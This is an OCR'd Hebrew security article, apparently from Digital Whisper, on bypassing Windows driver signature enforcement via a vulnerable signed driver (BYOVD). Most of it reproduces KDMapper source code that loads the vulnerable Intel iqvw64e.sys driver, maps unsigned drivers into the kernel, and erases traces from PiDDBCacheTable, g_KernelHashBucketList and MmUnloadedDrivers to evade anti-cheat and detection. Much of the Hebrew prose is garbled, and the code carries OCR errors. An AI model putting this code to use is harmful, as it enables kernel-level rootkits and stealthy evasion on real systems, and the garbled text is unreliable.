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77N2 12 WNNWN? NIY 10TV '"MYYIN Driver NNIX "IX 910271 INIX YNNI DINN X7 Driver N>wnin
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IT NNI¥2 ,N>IYNI DTN DN 12N 7w X719 NyanY 01N :Patchguard/hyperguard (2
N2YnNn7 n7InY Driver-n DY D'NIYAYN DT NIYY? QpINnN yian? |nn
70T .Certificate Revoking NTva N7 'NWYIN Driver N1'W0 vIInY% N2 N2 N'TDINN TN 2V191 IR
N12IND NdWAN T 7V NIt Driver-nw 72 0'M1on certificates 717w% 0713 vdIONE™ M NTH *7NNN
¥ nIn'MNN IYRIE DAMNND 122112 backwards compatibility 7222 ;1T 0T ntyan nawINn X7

INYY2IN Driver- NN ' 7y ["OIXR' X7 N1 702 certificate-n NX 17 177w Driver ,Windows

What he's wondering is why Windows will still load that driver after you've signed it (by changing sytemdate for example).
The reason/answer is sadly just compatability, there's not anything else to it. If a driver was signed, even if the cert is
revoked later, Windows will still run it for compatability purposes.

The number of drivers we use that haven't been touched in 10-15 years is a lot higher than you'd expect.

[122202 NINK7 NNARNNN ARYINDI ,N2MTN 7w certificate-nn metadata 7w '1'w nAtva i
IT DTV 7222 N0 NITYY certificate-n NX 17 177wWW1 "aya bnmaw Driver-7 DNAa7 72213 ,nn'nnn
NYYIN DN W' AN'MNY revoke 11D WY DNA D'WNNWNWY Drivers-n AN% - NTaly BYOVD nu'w

N7V Windows N2wn DNIX [IV07 NI [TV X, [AT QI

KDMapper - BYOVD NL'wa UIn'y'? XnalT

NN XD D M D2 17y 1wt Ymm R 0T 70 7Y 2777 715 KDMapper 750 IR 12 1Ny '
1 NdwN NIYY? N1 nn w'nnn? 13 KDMapper 720 7w TIpn DR Dp'nyn N1IXa 7no7 37mn

MW7IN Driver-1 701 NIXYIN NITYA

?KDMapper Xin nn

Driver-n oy BYOVD NU'wa nunnwnw NN Xin KDMapper *720 ,MNXNN N7'NNA 'N1UYY 19D
- Unsigned Driver n>vnn 7w [NDT7 |'vun? 'O (CVE-2015-2291 ,iqgvwe64e.sys) 701'K 7w 'nu7iNn
NINYIN 2'N) 7010 NIXWAN DY qpINY 2y 720 Driver-n .Windows 7w n'wn nn'nn X747 Driver
N2 ,NI2Y N7V Y27 NiNWoSK (DeviceloControl N> APIs MNTya Drivers Dy WWpNY 13 7nin
NXNIN TIP 7w NXINI1 DRIY D10 N2INNA NV [NIT 7¢ ARYPN ,N>YN [N2TA ARNPE DA

JI2Wn [1No7T JIma
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PiDDEL
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@xFFFFDO

:0'IT Unsigned Driver Mappers-1 KDMapper "inxn [I'ann

:D7W NNd N7WAI NN NIV T W 0'AIT Unsigned Driver Mappers-71 KDMapper *737

ndwNN [NOT7 'MY7INnn Driver-n N1'WL

KDMapper ,NaINn X'7) N>wn? INY'NN [YOIN XINY DT A K7W 7D 'My2inn Driver-n NkaNn
(N>wnNa TIXA D'NIYAWNA D1INI 2201 D121 7V 2121 AT TENRT 722 0T DR wnnn

N1DINN 7¥ 1N2T7 Unsigned Driver-n X7

NI7'W97 D'NIdNY imports [1'N 1ad) PE-N 0N NN Driver-n 7¢ NRIW NNTAN YW Iz
N'7Y NDWN7 NIMKRNIM NIMY NIDMX N7 imports-n 72 ,yN? 721 PE NN 1T ,Ndvnn
(n¥m n1IMN

,Unsigned Driver-7 N2ayn |1N2T NIXPn? ' M72INnn Driver-n oY Y1n? NI NI71yo1 win'y
[N AT 1IN DX DA) Driver-n 7 entry point-7 XNpP7I [7IMAN Driver-n DX [N2T INIXY 2IM2Y

(PE 19 '97 Driver-n 7w NNTANNN A'WUNY?

(1

(2

3

(5
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750 7w AX'm npo

-7 17000 7w NnXNN ,N1DINT 1[7910W DMVNID 19501 11D NI'0'0Q NIR'TA NN 7'NNin KDMapper
7222 .(Driver XInw XTI? *TD Yalpn 7w nniro ,nTn 217002 yalzn 7w DI'p) n1dIn? Unsigned Driver
227 7w MYOX TUNTO 7apR% DXNIM Y70 ,NdYN [NDT NRYPNYT? NIMMWON 1901 W' 0T Driver-aw

IRXZNYT |NDT 7Y '9'¥D0 AI0 INN'Y

int wmain( int argc, wchar_t** argv) {
SetUnhandledExceptionFilter(SimplestCrashHandler);

bool free = paramExists(argc, argv, L"free") > 0;

bool mdlMode = paramExists(argc, argv, L"mdl") > 0;

bool indPagesMode = paramExists(argc, argv, L"indPages") > 0;

bool passAllocationPtr = paramExists(argc, argv, L"PassAllocationPtr") > 0;

(free) {
Log(L"[+] Free pool memory after usage enabled" << std::endl);

(md1Mode) {
Log(L"[+] Md1l memory usage enabled" << std::endl);

(indPagesMode) {
Log(L"[+] Allocate Independent Pages mode enabled" << std::endl);

(passAllocationPtr) {
Log(L"[+] Pass Allocation Ptr as first param enabled" << std::endl);

}

int drvIndex = -1;
(int 1 = 1; i < argc; i++) {
(std::filesystem::path(argv[i]).extension().string().compare(".sys") == 0)
drvIndex = i;

3

(drvIndex <= 0) {

help();
_1;

std: :wstring driver_path = argv[drvIndex];

(!std::filesystem::exists(driver_path)) {
Log(L"[-] File " << driver_path << L" doesn't exist" << std::endl);
PauseIfParentIsExplorer();

_1;

NT NP, MY2INN Driver-n N1'W0 N71Y97 X1 Driver Mapper-n 1770 NI‘0'oan NI Tan WNNY?

.intel_driver::Load()
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"mMyYinn Driver-n N1'yL

NPT, [N07T7 12D 1YV X7 'MY2INN Driver-nw XTHY NTYNW TINN NVIYD NPT n7'NNNn 0T )*70Nn
n'10n Driver nntw TnIM oW Nt Symbolic link .Driver-n 7w symbolic link-n n1tva nyxian it
TINT NIWYY7 7311 Driver-n Dy MIYPNY7 handle 7277 n¥11 DRW 70 ,Ndwnn 75 12y n'ai7a niva

:symbolic link-n n1tyva

st k / [rsp+56h] [rbp-18h] BYREF
PDE ( ic t; // [rsp+80h] [rbp+18h] BYREF

DeviceObject
&estinationString, L"

Rt Uni &SymbolicLinkName, L"\\L iCe PdFwKrnl");
qword_140003010 % BEBEBEAA—————]
result IoCr )evice(DriverObject, @, &DestinationString, ©x8000u, ©, 1lu, &DeviceObject);
if ( !result )
{

DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_140001490;
DriverObject->MajorFunction[@] = (PDRIVER_DISPATCH)&sub_140001460;
DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)DeviceControlIoctlHandler;
DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)&sub_140001460;
result = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);

2 NRN2 )'70NN Driver-n DY YWRNY NXNW RPN 79 TYNN

bool intel_driver::IsRunning() {
HANDLE file_handle = CreateFileW(L" .\\Nal", FILE_ANY_ACCESS, ©, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
(file_handle != nullptr &% file_handle != INVALID_HANDLE_VALUE)
{
CloseHandle(file_handle);
true;

false;

(\\DosDevices\\SymLinkName) kernel mode |'2 ninwn symbolic link 7w Nn*2ann NIXY7 [Nw 9D

AW\ \\SymLinkName) user mode |'2%

:0IYS wnn 7*7nNn Junn

-1 |N27 7¢ dump-d NNNWI N'MY2INN NDINN AT NNPNna) '"Mu2inn Driver-n yaup? 721700 vy (1
[27 ,0'DT NINYT 10700 DRNPN XD L(Service-7 [DIN INIXK DY Y27 NIX'Y7? 1¥W ndd KDMapper
(07 0'¥2P7) temp NP'NA INIX Y1 *7MITIN OW Driver-7 1101 DN

XY 217000 M7 'My7Inn Driver-n 7¢ DIMn namd - (2

YIn'y 1D ,0'00T [1AN2 NIYY7 [N AT 27w DX IN7u901 "721j7 Service-D Driver-n yalg niw - (3
TNX Service-n 7w D'DIVYN NX 010071 NITOZ NTIAY NIWYY? 107NN D'ANIDN X ,cmd 0T sc2

T NN YN NX
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:N2N TN YO IRINN NTh Y'70nn D

memset(intel_driver::driver_name, 0, (intel_driver::driver_name));
char alphanum[] =
"abcdefghijklmnopgrstuvwxyz"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ" ;
int len = rand() % 20 + 10;
(int i = 9; 1 < len; ++i)
intel_driver::driver_name[i] = alphanum[rand() % ( (alphanum) - 1)];
Log(L"[<] Loading vulnerable driver, Name: " << GetDriverNameW() << std::endl);
std::wstring driver_path = GetDriverPath();
(driver_path.empty()) {
Log(L"[-] Can't find TEMP folder" << std::endl);
INVALID_HANDLE_VALUE;
}
_wremove(driver_path.c_str());
('utils::CreateFileFromMemory (driver_path, reinterpret_cast<
char*>(intel_driver_resource: :driver), (intel_driver_resource::driver))) {
Log(L"[-] Failed to create vulnerable driver file" << std::endl);
INVALID_HANDLE_VALUE;

(!service::RegisterAndStart(driver_path)) {
Log(L"[-] Failed to register and start service for the vulnerable driver" << std::endl);
_wremove(driver_path.c_str());
INVALID_HANDLE_VALUE;

}

HANDLE result = CreateFileW(L"\\\\.\\Nal", GENERIC_READ | GENERIC_WRITE, ©, nullptr,

OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

(!result || result == INVALID HANDLE_VALUE)

{
Log(L"[-] Failed to load driver iqvwée4e.sys" << std::endl);
intel_driver::Unload(result);

INVALID_HANDLE_VALUE;

ntoskrnlAddr = utils::GetKernelModuleAddress("ntoskrnl.exe");
(ntoskrnlAddr == 0) {
Log(L"[-] Failed to get ntoskrnl.exe" << std::endl);
intel_driver::Unload(result);
INVALID_HANDLE_VALUE;

A'WNT 7D 0TI )X DRT NIWYYT 11 ,'MY7INN Driver-n 7w Service-n DI' 7w NnXANNN N7'NNN Non
7¥ DPN07 wnnw' Mappers-n IT 0'0Q NAIMDA .ntoskrnl.exe ,717pn 7w 0'0an NaIMd NX
NINANN IX kernel exports-2 WIN'wI RN (120 ,N'X¥719\WIN'y 112V 712 01 sections\D'i77n

(©qwnna Ix1) 7272 DMz DRIMI 12NN 01N

IR 1907 71> AT R ,"NY2INN Driver-n 7w Service-n NNANNA T>INN7 NN X7 12D 'M1V'xY '9)
D'I0N |INN92 PNYNNY? X71 NNI'YAN DX 1707 NXN IRY 7722 . [NIY Nnd N'RUN N1'Y0Y7 N1'Yon
DIj7N2 DN O'RNNN entry-N 7w IXANNNI DAXY D2ININ 21 7V MNP WaT D'WX X ,(KDMapper)

J19I¥O0N WIN'MA ™INNY

BYOVDnND'w m1va DSE qpun
www.DigitalWhisper.co.il
6 2024 1,163 |I"2




Technologic

?Driver D'X"ANN \'X

NIY1 1INIX DNIRY DIININ 20, TNy TIAYN NNON2 K7 IXANNN TV Y7 21N ARANNN 197
[71, 007 NINNNENN0AN 701 17'9X IX DNYY D'2DIN] NINWNY 0713 Driver-n NIX X'ANNY7 1D

A'70NNN DX VIR 91X NIRYWY 0¥ T'NYA TIAYN DINT AXKANNY T
:PiDDBCacheTable

NNTY2 YU Driver-w yana .ndwnn 2y 0¥ loaded Drivers-n 72 7w nn'wn 7710 0T 021M1 n1an

2 NXN) NN'YND NnNivN 22 7w struct-n .ITN nn'wO2 Driver INIX? nniwn noolinn NtLoadDriver

struct PiDDBCacheEntry

LIST_ENTRY List;
UNICODE_STRING DriverName;
ULONG TimeDateStamp;
NTSTATUS LoadStatus;
char _oxea28[16];

:NIYA 72 7w nlannn DTN 0D

Windows Kernel" 1xna XIxn7 [N XU 7y 1200) DTN X2N entry-7 entry-n 7@ 1wy iList

('Tann 7w 162 1'7122 'MNnoNSY "'opnin vann
Driver-n 7w Dwn :DriverName

2V nIooaNN *72 NN'YNa INIR NINT? 1217 WTY7 71>'w Driver-n 7w TN nnm :TimeDateStamp

.NT headers-2 Xi¥xn7 [N .0wN

X 2u19aw TN 1T LLIST_ENTRY 7y nooianw Windows 7w 21772 n'io nn'wn 'O 1nd

.NN'YI NTYINN AN XY XY D 7Y anivan e Unlink nT nxann? niwyy

:0"'T>IN D7Y NYQIX 97 TAIY NXANNN )'70N
M2 PAGE section-n 7y pattern scanning NNy NXT NIWY7 N1 :n7200 7w 0'0an Nx'xn (1
|NDTAN INIX X'¥IN7 [N 17D ,pageable XIinw TijpI yTn 7w PE vn1191 section Xin PAGE
7N01 DN'RY patterns-n .(N1'7177 NI2IN2 AN W'Y 12 W' 27) 110NN 7w njna N'wj 70+ 17
|INDT2 N1aNN 7W NAIMdN DX KIXAY 7211w D N1an? n'yiapl owiT references I'N' 72770 NX
2V yx¥Ian X'n :Driver IN NDYN N1DIN 7y pattern scanning NN WNNWRK "INWI 1NXAN IR

.PAGE section-n
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TUX] NNIX XANNYT1 NN'YIL N7W DNIYAN DX WONYT 1D :Nn'win wIonl ''w? 2vamn nawn (2
pattern NATV2a DA XIXN? N 17w N2INDN NX .PiDDBCachelock-n N1tva nn'wn? nwia a'wn?
ExAcquireResourceExclusivelite-a wnnwa INIX 71v17 121 KDMapper-2 nWyaY Ind scanning

N7 man .RTL_AVL_TABLE-> "Tam PiDDBCacheTable 7w niann :n1ana n7w mmiwnn nx'xn - (3
NN NTI¥2 112N WIDNI 'Y DAY NN DA W' D71 N9 NIXGAL [I0NKY N1 wniun
INIX INIRY entry 7¥ pnyn N7ajmy RtlLookupElementGenericTableAvl natya xnart? nie
NNIYIN 7w |1N2T2 N2IMDN DX NN'TNNIEN7202 D'YONN

NN KNP7 721 MY2INN Driver-n NNTYAI N7W NnIvan 7w DAIMdN NITYA Yy axannn (4
.N2'MD N1V Unlink-n 3"2nn X Niwy'? 2211 ,nn'wia 0oann o-LIST_ENTRY-n 7w [NoTh
- NNIYAN NIX N'910 2INNY T2 19011 N71Y91 WNNWNT 110X 112 AVL N1an naw nixn 7221
NP'NN7 NN NNIvAN NRE An'wNn IR N7apnw  RtiDeleteElementGenericTableAvl
7w Ry¥n ,DeletedCount) Nn'wNa 1PNNIY entries-N NIND 7w NIMN DX TIN7 Nx1 91017
nnwan mYh o vmn IR NNy [amdl (RTL_AVL_TREE  niaann ma
-1 AVL TREES 7y Ty Tm%7 [N 1nw NN qloa IW'p 9'oIX .(ExReleaseResourcelite)
Windows

:KDMapper 7¥ TI72 0 Nk 70NN D
bool intel_driver::ClearPiDDBCacheTable(HANDLE device_handle) {
PiDDBLockPtr = FindPatternInSectionAtKernel(device_handle, "PAGE", intel_driver::ntoskrnlAddr,
(PUCHAR) "\x8B\XD8\x85\XCO\XOF \x88\. . ..\x4C\X8B\Xx00\x24", "XXXXXX???2XXXXX????XXX???2XXXXX???2?X???2Xxx?X");
PiDDBCacheTablePtr = FindPatternInSectionAtKernel(device_handle, "PAGE", intel_driver::ntoskrnlAddr,
(PUCHAR) " \x66\x83\xD2\x48\x8D\x8D", "Xxxxxxx");
(PiDDBLockPtr == NULL) {
PiDDBLockPtr = FindPatternInSectionAtKernel(device_handle, "PAGE", intel_driver::ntoskrnlAddr,

(PUCHAR) "\ x48\x8B\x0D\x00\ . . . \x00\x00\x00\x00\XE8\x00\x00\x00\xOO\XE8", "XXX???2XXXXX???2?XXX????x????x");

(PiDDBLockPtr == NULL) {
Log(L"[-] Warning PiDDBLock not found" << std::endl);
false;

Log(L"[+] PiDDBLock found with second pattern" << std::endl);
PiDDBLockPtr += 16;

PiDDBLockPtr += 28;

(PiDDBCacheTablePtr == NULL) {
Log(L"[-] Warning PiDDBCacheTable not found" << std::endl);
false;

}

Log("[+] PiDDBLock Ptr @x" << std::hex << PiDDBLockPtr << std::endl);
Log("[+] PiDDBCacheTable Ptr ©x" << std::hex << PiDDBCacheTablePtr << std::endl);

PVOID PiDDBLock = ResolveRelativeAddress(device_handle, (PVOID)PiDDBLockPtr, 3, 7);
PRTL_AVL_TABLE PiDDBCacheTable = (PRTL_AVL_TABLE)ResolveRelativeAddress(device_handle,
(PVOID)PiDDBCacheTablePtr, 6, 10);

(!ExAcquireResourceExclusiveLite(device_handle, PiDDBLock, true)) {
Log(L"[-] Can't lock PiDDBCacheTable" << std::endl);
false;
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}
Log(L"[+] PiDDBLock Locked" << std::endl);

auto n = GetDriverNameW();

PiDDBCacheEntry* pFoundEntry = (PiDDBCacheEntry*)LookupEntry(device_handle, PiDDBCacheTable,
igvw6ede_timestamp, n.c_str());
(pFoundEntry == nullptr) {
Log(L"[-] Not found in cache" << std::endl);
ExReleaseResourcelLite(device_handle, PiDDBLock);
false;

PLIST_ENTRY prev;
(!'ReadMemory(device_handle, (uintptr_t)pFoundEntry + (offsetof(struct _PiDDBCacheEntry, List.Blink)),
&prev, (_LIST_ENTRY*))) {
Log(L"[-] Can't get prev entry" << std::endl);
ExReleaseResourcelLite(device_handle, PiDDBLock);
false;
¥
PLIST_ENTRY next;
(!'ReadMemory(device_handle, (uintptr_t)pFoundEntry + (offsetof(struct _PiDDBCacheEntry, List.Flink)),
&next, (_LIST_ENTRY*))) {
Log(L"[-] Can't get next entry" << std::endl);
ExReleaseResourcelLite(device_handle, PiDDBLock);
false;

}
Log("[+] Found Table Entry = @x" << std::hex << pFoundEntry << std::endl);

(!'WriteMemory(device_handle, (uintptr_t)prev + (offsetof(struct _LIST_ENTRY, Flink)), &next,
(_LIST_ENTRY*))) {
Log(L"[-] Can't set next entry" << std::endl);
ExReleaseResourcelLite(device_handle, PiDDBLock);
false;

(!'WriteMemory(device_handle, (uintptr_t)next + (offsetof(struct _LIST_ENTRY, Blink)), &prev,
(_LIST_ENTRY*))) {
Log(L"[-] Can't set prev entry" << std::endl);
ExReleaseResourcelLite(device_handle, PiDDBLock);
false;

(!'RtlDeleteElementGenericTableAvl(device_handle, PiDDBCacheTable, pFoundEntry)) {
Log(L"[-] Can't delete from PiDDBCacheTable" << std::endl);
ExReleaseResourcelLite(device_handle, PiDDBLock);

false;

ULONG cacheDeleteCount = 9;
ReadMemory(device_handle, (uintptr_t)PiDDBCacheTable + (offsetof(struct _RTL_AVL_TABLE, DeleteCount)),
&cacheDeleteCount, (ULONG));
(cacheDeleteCount > 0) {
cacheDeleteCount--;
WriteMemory(device_handle, (uintptr_t)PiDDBCacheTable + (offsetof(struct _RTL_AVL_TABLE, DeleteCount)),
&cacheDeleteCount, (ULONG)) ;
}

ExReleaseResourcelLite(device_handle, PiDDBLock);
Log(L"[+] PiDDBCacheTable Cleaned" << std::endl);

true;
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:HashBucketList

IT "'y \Windows Nnd>wn%? [lvow Driver 75 7y yT'n n77D0 n'7an linked list X'n 1T nn'wN
yTm nimy 7y 1mw v code integrity module) ci.dll n>aynn 201 7w PAGE section-2 N10JIXN
IT Nn'w .(Ndwnn 9ww kernel modules-n NII'AXR DX AIRNAN N1aN 17 W' Anq 2 P71 M

2 NN NNIYWA 7D Niani (pattern scanning DY |3 DA) KIXNT [N1IY [IWR entry-n n'7'NNn

typedef struct _HashBucketEntry

struct _HashBucketEntry* Next;
UNICODE_STRING DriverName;
ULONG CertHash[5];

} HashBucketEntry, * PHashBucketEntry;

117 VIYD TNI* N2N NRANN NNVNYT7 N7V N2YNLIT NN'Y

-N 7w 0'02N NAIMD NX A'wn7 *Td YITI VIAp pattern-11 721770 ¥ 0'0an NaMd wnnwin? (1
.(PiDDBCacheTable-2 1m2) nn'wnn 7w 71vann 7w N2IM>N DRI [IWKRIN entry

TINT NIYY7 1M¥) X'2ANNT7 0'¥N NNIRY Driver-n 7w DWY NNt 'Nd1N Driver-n YW DWn DX 21T (2
7¢ nRMp1 kernel mode-2 MxY 'M1190 DWY YyRaXNn Navn ,0UN XK NAYN - D% NnNd2a
W7 2N ;2 DX (DR DX DWYTIF X7 1INIXI kernel mode-2 X¥n) DUnW X'D 07 N2'on ,0Win
NNIYIN 7U NN NNIYIN 7¢ NAIMDN IR NIRAN NNIYAT7 yRaxnn DX 790 nnTign nnivna
[IN2T 122D N'XPIN ANIYA '2D) NNIYAN 7 [INDTN IT'R IK NNWALR'NNYT DY 1INIRY N7
(N

NIX A'WN7 T2 N'NDIN NNIYINN DIIYRIN D'NAN 8 MK K7 N7W NNIYIn K7 X'D nnivan DR (3
NN'WAN 910 DR NYT7 2211w 75 NULL XInW y*axna Nn''Non nn'yin .axRIN Nniva? yraxnn

.N'XI0'RNNIAY

abhbeihahhh Tk ih

auto g_KernelHashBucketList = ResolveRelativeAddress(device_handle, (PVOID)sig, 3, 7);
auto g_HashCachelLock = ResolveRelativeAddress(device_handle, (PVOID)sig2, 3, 7);
(!g_KernelHashBucketList || !g_HashCachelock)

Log(L"[-] Can't Find g_HashCache relative address" << std::endl);
false;
}
Log(L"[+] g_KernelHashBucketList Found Ox" << std::hex << g_KernelHashBucketlList << std::endl);
(!ExAcquireResourceExclusivelLite(device_handle, g _HashCachelLock, true)) {
Log(L"[-] Can't lock g _HashCacheLock" << std::endl);
false;
¥
Log(L"[+] g_HashCacheLock Locked" << std::endl);
HashBucketEntry* prev = (HashBucketEntry*)g KernelHashBucketList;
HashBucketEntry* entry = 0;
(!ReadMemory(device_handle, (uintptr_t)prev, &entry, (entry))) {
Log(L"[-] Failed to read first g_KernelHashBucketList entry!" << std::endl);
(!ExReleaseResourcelLite(device_handle, g_HashCachelLock)) {
Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);

false;

}

(lentry) {
Log(L"[!] g KernelHashBucketList looks empty!" << std::endl);
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(!'ReadMemory(device_handle, (uintptr_t)wsNamePtr, wsName.get(), wsNameLen)) {
Log(L"[-] Failed to read g_KernelHashBucketList entry text!" << std::endl);
(!'ExReleaseResourcelLite(device_handle, g _HashCachelLock)) {
Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);

false;

}

size t find_result = std::wstring(wsName.get()).find(wdname);
(find_result != std::wstring::npos) {
Log(L"[+] Found In g KernelHashBucketList: " << std::wstring(&wsName[find_result]) << std
HashBucketEntry* Next = 9;
(!'ReadMemory(device_handle, (uintptr_t)entry, &Next, (Next))) {
Log(L"[-] Failed to read g_KernelHashBucketList next entry ptr!" << std::endl);
(!ExReleaseResourcelLite(device_handle, g_HashCachelLock)) {
Log(L"[-] Failed to release g KernelHashBucketList lock!" << std::endl);

false;

(!'WriteMemory(device_handle, (uintptr_t)prev, &Next, (Next))) {
Log(L"[-] Failed to write g_KernelHashBucketList prev entry ptr!" << std::endl);

(!ExReleaseResourcelLite(device_handle, g_HashCachelLock)) {
Log(L"[-] Failed to release g KernelHashBucketList lock!" << std::endl);

false;

(!FreePool(device_handle, (uintptr_t)entry)) {

Log(L"[-] Failed to clear g_KernelHashBucketList entry pool!" << std::endl);
(!ExReleaseResourcelLite(device_handle, g_HashCachelLock)) {
Log(L"[-] Failed to release g KernelHashBucketList lock!" << std::endl);

false;
}
Log(L"[+] g_KernelHashBucketList Cleaned" << std::endl);
('ExReleaseResourcelLite(device_handle, g HashCachelLock)) {
Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);
(!'ExReleaseResourcelLite(device_handle, g HashCachelLock)) {
Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);

false;

true;

:MmUnloadedDrivers

Though not new or unheard of at this point since it was publicized on a forum less than a week ago | had been removing entries
from the global MmUnloadedDrivers which is an array of base driver names that have since been unloaded from the system
In the event you have unloaded a driver from your system that may trigger an anti-cheats system integrity checks (TDL,
specifically) you iterate the unloaded drivers array and perform a search for the target driver name, remove the entry at the
specific index, and shift all entries down an index which makes it appear as if it was never there

for (i = @; i < MI_UNLOADED DRIVERS; i += 1) {
if (Index >= MI_UNLOADED_DRIVERS) {
Index = MI_UNLOADED DRIVERS - 1;
}
Entry = &mUnloadedDrivers[ Index ];
if ( !wcscmp( Entry->Name.Buffer, MmUnloadedDrivers[ Index ].Buffer ) ) {
// remove entry from MmUnloadedDrivers

3
J
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n>Nl Yuinw Driver 75 112y nniwn 791 MmUnloadedDrivers :1'aon n7yn%? Mmxnnw '9)
D" . JN2TAN IMIR X¥INY "D (NtUnloadDriver) unload 7w n21vo 1'7y nwxial NtLoadDriver ntva
.NtQuerySystemInformation N71IY9n NTYa NXT AWV 1INIX ,NNIX NNd2 NN'wAn 7y y'owny
YNNWN? NN NNAITA .WNTY TN 210 7¢ 10Nn19 '9%7 Ndwnn 7w yT'n axan It n721yon

:NMN'YIN IIAY X2 Nann DR TN SystemExtendedHandlelnformation "un1o2

typedef struct _SYSTEM_HANDLE_INFORMATION_EX

ULONG_PTR HandleCount;
ULONG_PTR Reserved;
SYSTEM_HANDLE Handles[1];
} SYSTEM HANDLE_INFORMATION_EX, *PSYSTEM HANDLE INFORMATION_ EX;

:SYSTEM_HANDLE n1ann - Driver 72 7w nniwn7 yan? [N Nt n1ann

typedef struct _SYSTEM_HANDLE
{
PVOID Object;
HANDLE UniqueProcessId;
HANDLE HandleValue;

ULONG GrantedAccess;
USHORT CreatorBackTracelIndex;
USHORT ObjectTypeIndex;
ULONG HandleAttributes;
ULONG Reserved;
} SYSTEM HANDLE, *PSYSTEM HANDLE;

HandleValue nX nuwn'7i nn'wn 2v 1127 7211 (HandleCount) Unloaded Drivers-n 7w 190nn '97
NNIYIN NX X¥N1 7D .Driver-7 17w nInon handle-7 (0'10n system module-7 ninon handle-n 71y)
-0 X NNOY 1'7nNn 7w PID-n NX 7'2nw UniqueProcessid nTw DA ') N7W Driver-7 nn'8xnnn

(17w PID-n 210 X7 T TV W'y ) ,handle

MaY ,TVinn X7 N1an% y'a¥n nnivna Object nTwN :AXaNnn 7¢ "aynn 7700 7'nnn no
-7 yraxn ' n1ann N7'NNn 0'NA 8 7w LOSINAY NIKYT7 N1 YITN Driver-n 7w INKY noTn

:(Driver-n Dy NIwpN? wnwn Nt oxy) Driver-n 7w DEVICE_OBJECT

Syntax

C++

typedef struct _DEVICE_OBJECT {

CSHORT Type;
USHORT Size;
LONG ReferenceCount;

struct _DRIVER_OBJECT
struct _DEVICE_OBJECT
struct _DEVICE_OBJECT

*DriverObject;
*NextDevice;
*AttachedDevice;

struct _IRP *Currentlrp;
PIO_TIMER Timer;
ULONG Flags;
ULONG Characteristics;
__volatile PVPB Vpb;
PVOID DeviceExtension;
DEVICE_TYPE DeviceType;
CCHAR StackSize;
union {
LIST_ENTRY ListEntry;
WAIT_CONTEXT_BLOCK Wcb;
} Queue;
ULONG AlignmentRequirement;
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NP TIR YORA 'WIY TY AT 7700 IR DDON ,'WNaY 1197

auto system_handle_inforamtion = static_cast<nt::PSYSTEM_HANDLE_INFORMATION_EX>(buffer);

(auto i = Qu; i < system_handle_inforamtion->HandleCount; ++i)

nt::SYSTEM_HANDLE current_system_handle = system_handle_inforamtion->Handles[i];

(current_system_handle.UniqueProcessId !=

reinterpret_cast<HANDLE>(static_cast<uint6e4 _t>(GetCurrentProcessId())))

B
(current_system_handle.HandleValue == device_handle)

object = reinterpret_cast<uint64 t>(current_system_handle.Object);

E}

VirtualFree(buffer, ©, MEM_RELEASE);
('object)
false;
uinté64 t device_object = 0;
('ReadMemory(device handle, object + 0x8, &device object,
ldevice_object) {
Log(L"[!] Failed to find device_object" << std::endl);
false;

}

uinté64_t driver_object = 0;

(device object)) ||

(!'ReadMemory(device_handle, device_object + 0x8, &driver_object,

(driver_object)) || !driver_object) {
Log(L"[!] Failed to find driver_object" << std::endl);
false;

-N N1an .DRIVER_OBJECT - Driver-n 7w 'T>ann nxV7 v'an7 ‘7211 DEVICE_OBJECT-7 y'axnn oy

12 XM DRIVER_OBJECT

typedef struct _DRIVER_OBJECT {

CSHORT Type;

CSHORT Size;
PDEVICE_OBJECT DeviceObject;
ULONG Flags;

PVOID DriverStart;
ULONG DriverSize;
PVOID DriverSection;
PDRIVER_EXTENSION DriverExtension;
UNICODE_STRING DriverName;

PUNICODE_STRING HardwareDatabase;

PFAST_IO_DISPATCH FastIoDispatch;

PDRIVER_INITIALIZE DriverInit;

PDRIVER_STARTIO DriverStartIo;

PDRIVER_UNLOAD DriverUnload;

PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1];
} DRIVER_OBJECT, *PDRIVER_OBJECT;

INd ,NT W - DriverSection 7yN 7'2Wa X'N DTN 112N WNNWN? D'WONN 1INIX N7722W Na'on

N1an XN DriverSection WA AT NYPNa .N10NAN 107 TYX TIV INIK DTP? TV ,DMTIRN DI

N> DNX NtV X Windows T 2y Tvinn X7 nt nian ,LDR_DATA_TABLE_ENTRY oI9'un

-n :BaseDIlIName wn NX 0x58 0OSIXA NIXY? N1 (hvn? Mw'yp) geoffchappell.com

.Jyuinw Driver-n 7¢ 'm72 wniwni Tvimnna UNICODE_STRING
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0 X 1'wY NN ™ ,N7NNNNNA TV 12" TN W DWN IR D7 WCTIRG DN N7RY 7IRWY [N W)
N'MN19n0 n71w92 Driver-7 Unload D'y¥2nwd pT2IW OW KIN 0T ,0N0 X7 NTYLINT TR 20T )'70NNn
.MmUnloadedDrivers-2 Driver-n 7y yTnn NX MmMwu7? N'RINRY MiRememberUnloadedDriver
1197 X¥N N71Y9N - (0-7 DWW IR IR buffer (i) TN K7 07 D'POON 11NIXY DUNY yand

.Driver-n 7y yTmn NX Nniv X'ny

T2 7NN D W Do Nt
uint64_t driver_section = 0;

(!'ReadMemory(device_handle, driver_object + 0x28, &driver_section, (driver_section)) |
ldriver_section) {
Log(L"[!] Failed to find driver_section" << std::endl);
false;

}

UNICODE_STRING us_driver_base_dll _name = { 0 };
(!'ReadMemory(device_handle, driver_section + ©x58, &us_driver_base_dll_name, (us_driver_base_dll_name))
|| us_driver_base _dll name.Length == 0) {
Log(L"[!] Failed to find driver name" << std::endl);
false;

}

auto unloadedName = std::make_unique<wchar_t[]>((ULONG64)us_driver_base_dll_name.Length / 2ULL + 1ULL);
(!'ReadMemory(device_handle, (uintptr_t)us_driver_base_dll_name.Buffer, unloadedName.get(),
us_driver_base_dll_name.Length)) {
Log(L"[!] Failed to read driver name" << std::endl);
false;

}
us_driver_base_dll_name.lLength = 9;

('WriteMemory(device_handle, driver_section + 0x58, &us_driver_base_dll_name,
(us_driver_base_d1l1l_name))) {
Log(L"[!] Failed to write driver name length" << std::endl);
false;
Log(L"[+] MmUnloadedDrivers Cleaned: "
true;

